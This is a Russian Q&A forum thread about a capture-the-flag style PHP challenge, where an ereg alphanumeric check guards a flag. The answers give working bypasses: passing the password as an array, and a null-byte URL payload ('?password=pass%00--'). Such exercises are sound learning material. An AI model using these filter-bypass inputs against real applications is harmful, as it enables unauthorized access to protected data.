trinitr0
@trinitr0
провинциальный админ

Как можно обойти проверку пароля?

Есть такой код с лазейкой (вроде как), для получения значения поля пароля из формы:
<?php
require 'flag.php';

if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
		echo '<p class="alert">You password must be alphanumeric</p>';
	else if (strpos ($_GET['password'], '--') !== FALSE)
		die('Flag: ' . $flag);
	else
		echo '<p class="alert">Wrong passsword</p>';
}
?>


Есть ли способ как-то "обмануть" фильтрацию вводимых символов и получить значение переменной $flag?
  • Вопрос задан
  • 991 просмотр
Решения вопроса 1
index0h
@index0h
PHP, Golang. https://youtube.com/index0h
$_GET['password'] = [''];
Ответ написан
Пригласить эксперта
Ответы на вопрос 2
@anonlatte
Используй уязвимость, связанную с нулевым байтом
В конце строки добавь %00. Всё, что находится после этих символов, не будет регулярным читаться, но будет возможность вставить нужные символы, подходящие под условие получения флага
Решение таска example.com/?password=pass%00--
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через TM ID
Похожие вопросы
от 2 000 до 4 000 usd.
RentaTeam Москва
от 90 000 до 110 000 руб.
от 130 000 руб.
18 авг. 2018, в 01:10
17000 руб./за проект
17 авг. 2018, в 23:00
5500 руб./за проект